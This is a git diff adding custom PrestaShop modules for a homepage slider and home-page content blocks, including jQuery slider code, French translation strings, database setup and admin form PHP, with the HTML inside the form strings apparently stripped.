          ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/devspefiltreproduit/logo.gif b/modules/devspefiltreproduit/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/devspefiltreproduit/logo.gif differ diff --git a/modules/devspefiltreproduit/logo.png b/modules/devspefiltreproduit/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/devspefiltreproduit/logo.png differ diff --git a/modules/devspefiltreproduit/translations/en.php b/modules/devspefiltreproduit/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/devspefiltreproduit/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspefiltreproduit/translations/index.php b/modules/devspefiltreproduit/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspefiltreproduit/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefiltreproduit/upgrade/install-1.2.1.php b/modules/devspefiltreproduit/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/devspefiltreproduit/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/devspehomeblocks/HomeBlocks.php b/modules/devspehomeblocks/HomeBlocks.php new file mode 100755 index 0000000..4abd443 --- /dev/null +++ b/modules/devspehomeblocks/HomeBlocks.php @@ -0,0 +1,133 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class HomeBlocks extends ObjectModel +{ + public $title; + public $subtitle; + public $description; + public $url; + public $legend; + public $image; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspehomeblocks_slides', + 'primary' => 'id_devspehomeblocks_slides', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 4000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'subtitle' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'legend' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + 'url' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isUrl', 'required' => true, 'size' => 255), + 'image' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ) + ); + + public function __construct($id_slide = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_slide, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspehomeblocks` (`id_shop`, `id_devspehomeblocks_slides`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + $images = $this->image; + foreach ($images as $image) + { + if (preg_match('/sample/', $image) === 0) + if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + $res &= @unlink(dirname(__FILE__).'/images/'.$image); + } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspehomeblocks` + WHERE `id_devspehomeblocks_slides` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_slide = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss, `'._DB_PREFIX_.'devspehomeblocks` hs + WHERE hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_slide) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_devspehomeblocks_slides` as id_slide + FROM `'._DB_PREFIX_.'devspehomeblocks_slides` hss + LEFT JOIN `'._DB_PREFIX_.'devspehomeblocks` hs ON (hss.`id_devspehomeblocks_slides` = hs.`id_devspehomeblocks_slides`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_slide = new HomeBlocks($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/modules/devspehomeblocks/ajax_devspehomeblocks.php b/modules/devspehomeblocks/ajax_devspehomeblocks.php new file mode 100755 index 0000000..d092193 --- /dev/null +++ b/modules/devspehomeblocks/ajax_devspehomeblocks.php @@ -0,0 +1,53 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspehomeblocks.php'); + +$context = Context::getContext(); +$home_slider = new devspeHomeBlocks(); +$slides = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_slider->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('slides')) +{ + + $slides = Tools::getValue('slides'); + + foreach ($slides as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspehomeblocks_slides` SET `position` = '.(int)$position.' + WHERE `id_devspehomeblocks_slides` = '.(int)$id_slide + ); + + } + + $home_slider->clearCache(); +} + diff --git a/modules/devspehomeblocks/bx_styles.css b/modules/devspehomeblocks/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspehomeblocks/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspehomeblocks/devspehomeblocks.php b/modules/devspehomeblocks/devspehomeblocks.php new file mode 100755 index 0000000..7fb7881 --- /dev/null +++ b/modules/devspehomeblocks/devspehomeblocks.php @@ -0,0 +1,806 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspehomeblocks/HomeBlocks.php'); + +class devspeHomeBlocks extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspehomeblocks'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion des blocs de la home'); + $this->description = $this->l('Administrer les blocs sous le carrousel de la home'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('displayHome') && $this->registerHook('actionShopDataDuplication')) + { + // /* Sets up configuration */ + // $res = Configuration::updateValue('devspehomeblocks_WIDTH', '535'); + // $res &= Configuration::updateValue('devspehomeblocks_HEIGHT', '300'); + // $res &= Configuration::updateValue('devspehomeblocks_SPEED', '500'); + // $res &= Configuration::updateValue('devspehomeblocks_PAUSE', '3000'); + // $res &= Configuration::updateValue('devspehomeblocks_LOOP', '1'); + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + if ($res) + $this->installSamples(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + private function installSamples() + { + $languages = Language::getLanguages(false); + for ($i = 1; $i <= 2; ++$i) + { + $slide = new HomeBlocks(); + $slide->position = $i; + $slide->active = 1; + foreach ($languages as $language) + { + if($i==1){ + $slide->title[$language['id_lang']] = 'La presse en parle'; + $slide->subtitle[$language['id_lang']] = 'Lorem ipsum dolor sit amet'; + $slide->description[$language['id_lang']] = 'Consectetur adispiscing elit. Etiam eget magna risus. Pellentesque a nisi Eros, Fusce vitae maurie.'; + $slide->legend[$language['id_lang']] = 'Voir le produit'; + $slide->url[$language['id_lang']] = "http://www.prestashop.com"; + // $slide->url[$language['id_lang']] = 'http://www.prestashop.com'; + // $slide->image[$language['id_lang']] = 'sample-'.$i.'.jpg'; + }else{ + $slide->title[$language['id_lang']] = 'Savéria Coste'; + $slide->subtitle[$language['id_lang']] = 'Docteur en Pharmacie'; + $slide->description[$language['id_lang']] = 'Consectetur adispiscing elit. Etiam eget magna risus. Pellentesque a nisi Eros, Fusce vitae maurie.'; + $slide->legend[$language['id_lang']] = 'Lire la suite'; + $slide->url[$language['id_lang']] = "http://www.prestashop.com"; + + } + } + $slide->add(); + } + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspehomeblocks_WIDTH'); + // $res &= Configuration::deleteByName('devspehomeblocks_HEIGHT'); + // $res &= Configuration::deleteByName('devspehomeblocks_SPEED'); + // $res &= Configuration::deleteByName('devspehomeblocks_PAUSE'); + // $res &= Configuration::deleteByName('devspehomeblocks_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* Slides */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspehomeblocks` ( + `id_devspehomeblocks_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_devspehomeblocks_slides`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspehomeblocks_slides` ( + `id_devspehomeblocks_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_devspehomeblocks_slides`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspehomeblocks_slides_lang` ( + `id_devspehomeblocks_slides` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + `image` varchar(255) NOT NULL, + PRIMARY KEY (`id_devspehomeblocks_slides`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $slides = $this->getSlides(); + foreach ($slides as $slide) + { + $to_del = new HomeBLocks($slide['id_slide']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspehomeblocks`, `'._DB_PREFIX_.'devspehomeblocks_slides`, `'._DB_PREFIX_.'devspehomeblocks_slides_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submitSlide') || Tools::isSubmit('delete_id_slide') || + Tools::isSubmit('submitSlider') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addSlide') || (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets Slides */ + $slides = $this->getSlides(); + + /* Begin fieldset slider */ + $this->_html .= ' +
          + '.$this->l('Slider configuration').''; + /* Begin form */ + $this->_html .= '
          '; + /* Height field */ + $this->_html .= ' + +
          + px +
          '; + /* Width field */ + $this->_html .= ' + +
          + px +
          '; + /* Speed field */ + $this->_html .= ' + +
          + ms +
          '; + /* Pause field */ + $this->_html .= ' + +
          + ms +
          '; + /* Loop field */ + $this->_html .= ' + +
          + Yes + + + No + + +
          '; + /* Save */ + $this->_html .= ' +
          + +
          '; + /* End form */ + $this->_html .= '
          '; + /* End fieldset slider */ + $this->_html .= '
          '; + + $this->_html .= '

          '; + + /* Begin fieldset slides */ + $this->_html .= ' +
          + '.$this->l('Configuration des blocs').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no slides yet */ + if (!$slides) + $this->_html .= '

          '.$this->l('You have not yet added any slides.').'

          '; + else /* Display slides */ + { + $this->_html .= ' +
          +
            '; + foreach ($slides as $slide) + { + $this->_html .= ' +
          • + #'.$slide['id_slide'].' '.$slide['title'].' +

            '. + $this->displayStatus($slide['id_slide'], $slide['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + + private function _displayAddForm() + { + /* Sets Slide : depends if edited or added */ + $slide = null; + if (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide'))) + $slide = new HomeBlocks((int)Tools::getValue('id_slide')); + /* Checks if directory is writable */ + if (!is_writable('.')) + $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'image¤title¤subtitle¤url¤legend¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + $this->_html .= ' +
          +
          + 1 - '.$this->l('Téléchargez votre image').''; + /* Image */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= '
          '; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + $this->_html .= '
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + /* End Fieldset Upload */ + $this->_html .= '


          '; + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('addSlide')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Configurez votre bloc').''; + elseif (Tools::isSubmit('id_slide')) /* Edit legend */ + $this->_html .= ' 2 - '.$this->l('Configurez votre bloc').''; + /* Sets id slide as hidden */ + if ($slide && Tools::getValue('id_slide')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + /* Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


          '; + + /* Sub Title */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'subtitle', true); + $this->_html .= '


          '; + + + /* Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

          '; + + + /* URL */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'url', true); + $this->_html .= '


          '; + + /* Legend */ + $this->_html .= '
          '; + foreach ($languages as $language) + { + $this->_html .= ' +
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'legend', true); + $this->_html .= '


          '; + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$slide->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$slide->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs recquis').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for Slider configuration */ + if (Tools::isSubmit('submitSlider')) + { + + if (!Validate::isInt(Tools::getValue('devspehomeblocks_SPEED')) || !Validate::isInt(Tools::getValue('devspehomeblocks_PAUSE')) || + !Validate::isInt(Tools::getValue('devspehomeblocks_WIDTH')) || !Validate::isInt(Tools::getValue('devspehomeblocks_HEIGHT'))) + $errors[] = $this->l('Invalid values'); + } /* Validation for status */ + elseif (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid slide'); + } + /* Validation for Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_slide')) || (Tools::getValue('active_slide') != 0 && Tools::getValue('active_slide') != 1)) + $errors[] = $this->l('Invalid slide state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid slide position'); + /* If edit : checks id_slide */ + if (Tools::isSubmit('id_slide')) + { + if (!Validate::isInt(Tools::getValue('id_slide')) && !$this->slideExists(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid id_slide'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + if (Tools::strlen(Tools::getValue('subtitle_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The subtitle is too long.'); + if (Tools::strlen(Tools::getValue('legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The legend is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The URL is too long.'); + if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + $errors[] = $this->l('The description is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('url_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image_'.$language['id_lang']) != null && 